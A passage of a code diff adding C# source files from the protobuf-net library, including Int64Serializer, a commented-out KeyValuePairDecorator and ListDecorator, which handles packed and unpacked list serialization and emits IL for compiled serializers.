void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadInt32", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,55 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class Int64Serializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(long);
#endif
public Int64Serializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(long));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadInt64();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt64((long)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt64", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadInt64", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,40 @@

namespace ProtoBuf.Serializers
{
/*
sealed class KeyValuePairDecorator : IProtoSerializer
{
private readonly Type pairType;
private readonly IProtoSerializer keyTail, valueTail;
public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) {
Helpers.DebugAssert(pairType != null);
Helpers.DebugAssert(keyTail != null);
Helpers.DebugAssert(valueTail != null);
Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch");
this.pairType = pairType;
this.keyTail = keyTail;
this.valueTail = valueTail;
}
public Type ExpectedType { get { return pairType;}}
public bool ReturnsValue { get { return true; } }
public bool RequiresOldValue { get { return true; } }
public abstract void Write(object value, ProtoWriter dest)
{
}
public abstract object Read(object value, ProtoReader source)
{
}
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
throw new NotImplementedException();
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) {
throw new NotImplementedException();
}
#endif
}*/
}

View File

@ -0,0 +1,520 @@
#if !NO_RUNTIME
using System;
using System.Collections;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class ListDecorator : ProtoDecoratorBase
{
internal static bool CanPack(WireType wireType)
{
switch (wireType)
{
case WireType.Fixed32:
case WireType.Fixed64:
case WireType.SignedVariant:
case WireType.Variant:
return true;
default:
return false;
}
}
private readonly byte options;
private const byte OPTIONS_IsList = 1,
OPTIONS_SuppressIList = 2,
OPTIONS_WritePacked = 4,
OPTIONS_ReturnList = 8,
OPTIONS_OverwriteList = 16,
OPTIONS_SupportNull = 32;
private readonly Type declaredType, concreteType;
private readonly MethodInfo add;
private readonly int fieldNumber;
private bool IsList { get { return (options & OPTIONS_IsList) != 0; } }
private bool SuppressIList { get { return (options & OPTIONS_SuppressIList) != 0; } }
private bool WritePacked { get { return (options & OPTIONS_WritePacked) != 0; } }
private bool SupportNull { get { return (options & OPTIONS_SupportNull) != 0; } }
private bool ReturnList { get { return (options & OPTIONS_ReturnList) != 0; } }
private readonly WireType packedWireType;
public ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull)
: base(tail)
{
if (returnList) options |= OPTIONS_ReturnList;
if (overwriteList) options |= OPTIONS_OverwriteList;
if (supportNull) options |= OPTIONS_SupportNull;
if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
if (!CanPack(packedWireType))
{
if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding");
packedWireType = WireType.None;
}
this.fieldNumber = fieldNumber;
if (writePacked) options |= OPTIONS_WritePacked;
this.packedWireType = packedWireType;
if (declaredType == null) throw new ArgumentNullException("declaredType");
if (declaredType.IsArray) throw new ArgumentException("Cannot treat arrays as lists", "declaredType");
this.declaredType = declaredType;
this.concreteType = concreteType;
// look for a public list.Add(typedObject) method
bool isList;
add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out isList);
if (isList)
{
options |= OPTIONS_IsList;
string fullName = declaredType.FullName;
if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[["))
{ // see http://stackoverflow.com/questions/6194639/entityset-is-there-a-sane-reason-that-ilist-add-doesnt-set-assigned
options |= OPTIONS_SuppressIList;
}
}
if (add == null) throw new InvalidOperationException("Unable to resolve a suitable Add method for " + declaredType.FullName);
}
public override Type ExpectedType { get { return declaredType; } }
public override bool RequiresOldValue { get { return AppendToCollection; } }
public override bool ReturnsValue { get { return ReturnList; } }
private bool AppendToCollection
{
get { return (options & OPTIONS_OverwriteList) == 0; }
}
#if FEAT_COMPILER
protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
{
/* This looks more complex than it is. Look at the non-compiled Read to
* see what it is trying to do, but note that it needs to cope with a
* few more scenarios. Note that it picks the **most specific** Add,
* unlike the runtime version that uses IList when possible. The core
* is just a "do {list.Add(readValue())} while {thereIsMore}"
*
* The complexity is due to:
* - value types vs reference types (boxing etc)
* - initialization if we need to pass in a value to the tail
* - handling whether or not the tail *returns* the value vs updates the input
*/
bool returnList = ReturnList;
bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType);
using (Compiler.Local list = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Compiler.Local(ctx, declaredType))
using (Compiler.Local origlist = (returnList && AppendToCollection) ? new Compiler.Local(ctx, ExpectedType) : null)
{
if (!AppendToCollection)
{ // always new
ctx.LoadNullRef();
ctx.StoreValue(list);
}
else if (returnList)
{ // need a copy
ctx.LoadValue(list);
ctx.StoreValue(origlist);
}
if (concreteType != null)
{
ctx.LoadValue(list);
Compiler.CodeLabel notNull = ctx.DefineLabel();
ctx.BranchIfTrue(notNull, true);
ctx.EmitCtor(concreteType);
ctx.StoreValue(list);
ctx.MarkLabel(notNull);
}
EmitReadList(ctx, list, Tail, add, packedWireType, castListForAdd);
if (returnList)
{
if (AppendToCollection)
{
// remember ^^^^ we had a spare copy of the list on the stack; now we'll compare
ctx.LoadValue(origlist);
ctx.LoadValue(list); // [orig] [new-value]
Compiler.CodeLabel sameList = ctx.DefineLabel(), allDone = ctx.DefineLabel();
ctx.BranchIfEqual(sameList, true);
ctx.LoadValue(list);
ctx.Branch(allDone, true);
ctx.MarkLabel(sameList);
ctx.LoadNullRef();
ctx.MarkLabel(allDone);
}
else
{
ctx.LoadValue(list);
}
}
}
}
internal static void EmitReadList(ProtoBuf.Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd)
{
using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof(int))))
{
Compiler.CodeLabel readPacked = packedWireType == WireType.None ? new Compiler.CodeLabel() : ctx.DefineLabel();
if (packedWireType != WireType.None)
{
ctx.LoadReaderWriter();
ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType"));
ctx.LoadValue((int)WireType.String);
ctx.BranchIfEqual(readPacked, false);
}
ctx.LoadReaderWriter();
ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber"));
ctx.StoreValue(fieldNumber);
Compiler.CodeLabel @continue = ctx.DefineLabel();
ctx.MarkLabel(@continue);
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
ctx.LoadReaderWriter();
ctx.LoadValue(fieldNumber);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader"));
ctx.BranchIfTrue(@continue, false);
if (packedWireType != WireType.None)
{
Compiler.CodeLabel allDone = ctx.DefineLabel();
ctx.Branch(allDone, false);
ctx.MarkLabel(readPacked);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem"));
Compiler.CodeLabel testForData = ctx.DefineLabel(), noMoreData = ctx.DefineLabel();
ctx.MarkLabel(testForData);
ctx.LoadValue((int)packedWireType);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue"));
ctx.BranchIfFalse(noMoreData, false);
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
ctx.Branch(testForData, false);
ctx.MarkLabel(noMoreData);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem"));
ctx.MarkLabel(allDone);
}
}
}
private static void EmitReadAndAddItem(Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd)
{
ctx.LoadValue(list);
if (castListForAdd) ctx.Cast(add.DeclaringType);
Type itemType = tail.ExpectedType;
if (tail.RequiresOldValue)
{
if (itemType.IsValueType || !tail.ReturnsValue)
{
// going to need a variable
using (Compiler.Local item = new Compiler.Local(ctx, itemType))
{
if (itemType.IsValueType)
{ // initialise the struct
ctx.LoadAddress(item, itemType);
ctx.EmitCtor(itemType);
}
else
{ // assign null
ctx.LoadNullRef();
ctx.StoreValue(item);
}
tail.EmitRead(ctx, item);
if (!tail.ReturnsValue) { ctx.LoadValue(item); }
}
}
else
{ // no variable; pass the null on the stack and take the value *off* the stack
ctx.LoadNullRef();
tail.EmitRead(ctx, null);
}
}
else
{
if (tail.ReturnsValue)
{ // out only (on the stack); just emit it
tail.EmitRead(ctx, null);
}
else
{ // doesn't take anything in nor return anything! WTF?
throw new InvalidOperationException();
}
}
// our "Add" is chosen either to take the correct type, or to take "object";
// we may need to box the value
Type addParamType = add.GetParameters()[0].ParameterType;
if(addParamType != itemType) {
if (addParamType == ctx.MapType(typeof(object)))
{
ctx.CastToObject(itemType);
}
#if !NO_GENERICS
else if(Helpers.GetUnderlyingType(addParamType) == itemType)
{ // list is nullable
ConstructorInfo ctor = Helpers.GetConstructor(addParamType, new Type[] {itemType}, false);
ctx.EmitCtor(ctor); // the itemType on the stack is now a Nullable<ItemType>
}
#endif
else
{
throw new InvalidOperationException("Conflicting item/add type");
}
}
ctx.EmitCall(add);
if (add.ReturnType != ctx.MapType(typeof(void)))
{
ctx.DiscardValue();
}
}
#endif
#if WINRT
private static readonly TypeInfo ienumeratorType = typeof(IEnumerator).GetTypeInfo(), ienumerableType = typeof (IEnumerable).GetTypeInfo();
#else
private static readonly System.Type ienumeratorType = typeof (IEnumerator), ienumerableType = typeof (IEnumerable);
#endif
MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current)
{
#if WINRT
TypeInfo enumeratorType = null, iteratorType, expectedType = ExpectedType.GetTypeInfo();
#else
Type enumeratorType = null, iteratorType, expectedType = ExpectedType;
#endif
// try a custom enumerator
MethodInfo getEnumerator = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null);
Type itemType = Tail.ExpectedType;
if (getEnumerator != null)
{
iteratorType = getEnumerator.ReturnType
#if WINRT
.GetTypeInfo()
#endif
;
moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext", null);
PropertyInfo prop = Helpers.GetProperty(iteratorType, "Current", false);
current = prop == null ? null : Helpers.GetGetMethod(prop, false, false);
if (moveNext == null && (model.MapType(ienumeratorType).IsAssignableFrom(iteratorType)))
{
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null);
}
// fully typed
if (moveNext != null && moveNext.ReturnType == model.MapType(typeof(bool))
&& current != null && current.ReturnType == itemType)
{
return getEnumerator;
}
moveNext = current = getEnumerator = null;
}
#if !NO_GENERICS
// try IEnumerable<T>
Type tmp = model.MapType(typeof(System.Collections.Generic.IEnumerable<>), false);
if (tmp != null)
{
tmp = tmp.MakeGenericType(itemType);
#if WINRT
enumeratorType = tmp.GetTypeInfo();
#else
enumeratorType = tmp;
#endif
}
;
if (enumeratorType != null && enumeratorType.IsAssignableFrom(expectedType))
{
getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator");
#if WINRT
iteratorType = getEnumerator.ReturnType.GetTypeInfo();
#else
iteratorType = getEnumerator.ReturnType;
#endif
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext");
current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false);
return getEnumerator;
}
#endif
// give up and fall-back to non-generic IEnumerable
enumeratorType = model.MapType(ienumerableType);
getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator");
iteratorType = getEnumerator.ReturnType
#if WINRT
.GetTypeInfo()
#endif
;
moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext");
current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType,"Current", false), false, false);
return getEnumerator;
}
#if FEAT_COMPILER
protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
{
using (Compiler.Local list = ctx.GetLocalWithValue(ExpectedType, valueFrom))
{
MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current);
Helpers.DebugAssert(moveNext != null);
Helpers.DebugAssert(current != null);
Helpers.DebugAssert(getEnumerator != null);
Type enumeratorType = getEnumerator.ReturnType;
bool writePacked = WritePacked;
using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType))
using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null)
{
if (writePacked)
{
ctx.LoadValue(fieldNumber);
ctx.LoadValue((int)WireType.String);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader"));
ctx.LoadValue(list);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem"));
ctx.StoreValue(token);
ctx.LoadValue(fieldNumber);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField"));
}
ctx.LoadAddress(list, ExpectedType);
ctx.EmitCall(getEnumerator);
ctx.StoreValue(iter);
using (ctx.Using(iter))
{
Compiler.CodeLabel body = ctx.DefineLabel(),
@next = ctx.DefineLabel();
ctx.Branch(@next, false);
ctx.MarkLabel(body);
ctx.LoadAddress(iter, enumeratorType);
ctx.EmitCall(current);
Type itemType = Tail.ExpectedType;
if (itemType != ctx.MapType(typeof(object)) && current.ReturnType == ctx.MapType(typeof(object)))
{
ctx.CastFromObject(itemType);
}
Tail.EmitWrite(ctx, null);
ctx.MarkLabel(@next);
ctx.LoadAddress(iter, enumeratorType);
ctx.EmitCall(moveNext);
ctx.BranchIfTrue(body, false);
}
if (writePacked)
{
ctx.LoadValue(token);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem"));
}
}
}
}
#endif
#if !FEAT_IKVM
public override void Write(object value, ProtoWriter dest)
{
SubItemToken token;
bool writePacked = WritePacked;
if (writePacked)
{
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
token = ProtoWriter.StartSubItem(value, dest);
ProtoWriter.SetPackedField(fieldNumber, dest);
}
else
{
token = new SubItemToken(); // default
}
bool checkForNull = !SupportNull;
foreach (object subItem in (IEnumerable)value)
{
if (checkForNull && subItem == null) { throw new NullReferenceException(); }
Tail.Write(subItem, dest);
}
if (writePacked)
{
ProtoWriter.EndSubItem(token, dest);
}
}
public override object Read(object value, ProtoReader source)
{
int field = source.FieldNumber;
object origValue = value;
if (value == null) value = Activator.CreateInstance(concreteType);
bool isList = IsList && !SuppressIList;
if (packedWireType != WireType.None && source.WireType == WireType.String)
{
SubItemToken token = ProtoReader.StartSubItem(source);
if (isList)
{
IList list = (IList)value;
while (ProtoReader.HasSubValue(packedWireType, source))
{
list.Add(Tail.Read(null, source));
}
}
else {
object[] args = new object[1];
while (ProtoReader.HasSubValue(packedWireType, source))
{
args[0] = Tail.Read(null, source);
add.Invoke(value, args);
}
}
ProtoReader.EndSubItem(token, source);
}
else {
if (isList)
{
IList list = (IList)value;
do
{
list.Add(Tail.Read(null, source));
} while (source.TryReadFieldHeader(field));
}
else
{
object[] args = new object[1];
do
{
args[0] = Tail.Read(null, source);
add.Invoke(value, args);
} while (source.TryReadFieldHeader(field));
}
}
return origValue == value ? null : value;
}
#endif
}
}
#endif

Some files were not shown because too many files have changed in this diff Show More